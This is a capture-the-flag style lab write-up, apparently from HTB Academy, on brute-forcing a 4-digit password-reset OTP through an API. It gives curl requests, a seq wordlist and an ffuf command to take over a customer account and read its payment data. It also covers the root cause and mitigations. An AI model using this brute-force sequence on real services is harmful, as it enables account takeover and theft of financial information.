Exploiting OTP Brute Forcing in Password Reset APIs

1. Introduction

In this exercise from the HTB Academy API Attacks module, we exploit a Broken Authentication vulnerability to gain unauthorized access to another customer account.

The target account is:

MasonJenkins@ymail.com

Our objective is to:

  1. Reset the victim's password
  2. Log in as the victim
  3. Retrieve their payment options
  4. Extract the HTB flag

2. Understanding the Vulnerability

The application provides a password reset mechanism based on One-Time Passwords (OTPs).

The flow works as follows:

  1. Request an OTP to be sent to the user
  2. Submit the OTP along with a new password
  3. The API resets the password if the OTP is correct

Relevant endpoints:

POST /api/v1/authentication/customers/passwords/resets/email-otps
POST /api/v1/authentication/customers/passwords/resets

However, the API contains a critical flaw:

  • OTP is only 4 digits
  • No rate limiting
  • No account lockout
  • Unlimited attempts allowed

This makes the system vulnerable to OTP brute forcing, which falls under:

CWE-307
Improper Restriction of Excessive Authentication Attempts

3. Step 1 - Generate the OTP

Before attempting to brute force the OTP, the server must generate one.

Endpoint:

POST /api/v1/authentication/customers/passwords/resets/email-otps

Request:

curl -X POST \
http://TARGET/api/v1/authentication/customers/passwords/resets/email-otps \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com"}'

Response:

{"SuccessStatus":true}

This confirms the server has generated an OTP for the victim.

⚠️ Important: The OTP expires quickly, so brute forcing should begin immediately.

4. Step 2 - Inspect the Password Reset Endpoint

Next, we inspect the endpoint responsible for resetting the password.

Endpoint:

POST /api/v1/authentication/customers/passwords/resets

Example request:

curl -X POST \
http://TARGET/api/v1/authentication/customers/passwords/resets \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com","OTP":"0000","NewPassword":"NewP@ssw0rd1"}'

Response:

{"SuccessStatus":false}

This confirms the API validates OTP values.

5. Step 3 - Identifying the Attack Surface

The OTP format is:

0000 → 9999

Total possible combinations:

10,000

Because the API lacks rate limiting, we can brute force the OTP.

6. Step 4 - Brute Force the OTP

First generate a list of 4-digit values:

seq -w 0000 9999 > otp.txt

Then perform the brute force attack using ffuf:

ffuf -u http://TARGET/api/v1/authentication/customers/passwords/resets \
-X POST \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com","OTP":"FUZZ","NewPassword":"NewP@ssw0rd1"}' \
-w otp.txt:FUZZ \
-mr '"SuccessStatus":true'

Explanation:

ParameterDescriptionFUZZplaceholder replaced by OTP values-wwordlist-mrmatch successful responses

7. Step 5 - Discover the Valid OTP

Eventually, ffuf returns a successful match:

3316 [Status:200, Size:22]

The correct OTP For me is:

3316

8. Step 6 - Reset the Victim's Password

Now we submit the correct OTP.

curl -X POST \
http://TARGET/api/v1/authentication/customers/passwords/resets \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com","OTP":"3316","NewPassword":"NewP@ssw0rd1"}'

Response:

{"SuccessStatus":true}

The victim's password has now been changed.

9. Step 7 - Login as the Victim

We authenticate using the new password.

Endpoint:

POST /api/v1/authentication/customers/sign-in

Request:

{
 "Email":"MasonJenkins@ymail.com",
 "Password":"NewP@ssw0rd1"
}

The response contains a JWT token.

10. Step 8 - Retrieve Payment Information

Using the JWT token, we query the payment endpoint.

GET /api/v1/customers/payment-options/current-user

Request:

curl -X GET \
http://TARGET/api/v1/customers/payment-options/current-user \
-H "Authorization: Bearer <JWT>"

Response:

{
 "customerPaymentOptions":[
   {
     "type":"Credit Card",
     "accountNumber":"HTB{FLAG}"
   }
 ]
}

The accountNumber field contains the flag.

11. Root Cause

The vulnerability arises due to:

  • Low entropy OTP (4 digits)
  • No brute-force protection
  • Unlimited authentication attempts

This enables attackers to guess the OTP within seconds.

12. Mitigation

To prevent this attack:

Implement:

  • Rate limiting on OTP attempts
  • Account lockout after several failures
  • Longer OTPs (6–8 digits)
  • CAPTCHA or MFA
  • OTP expiration with attempt limits

13. Conclusion

This exercise demonstrates how weak authentication logic in APIs can lead to full account compromise.

By exploiting the lack of rate limiting, we were able to:

  1. Brute force the OTP
  2. Reset the victim's password
  3. Authenticate as the victim
  4. Extract sensitive financial information

This is a clear example of Broken Authentication in APIs, as described in the OWASP API Top 10.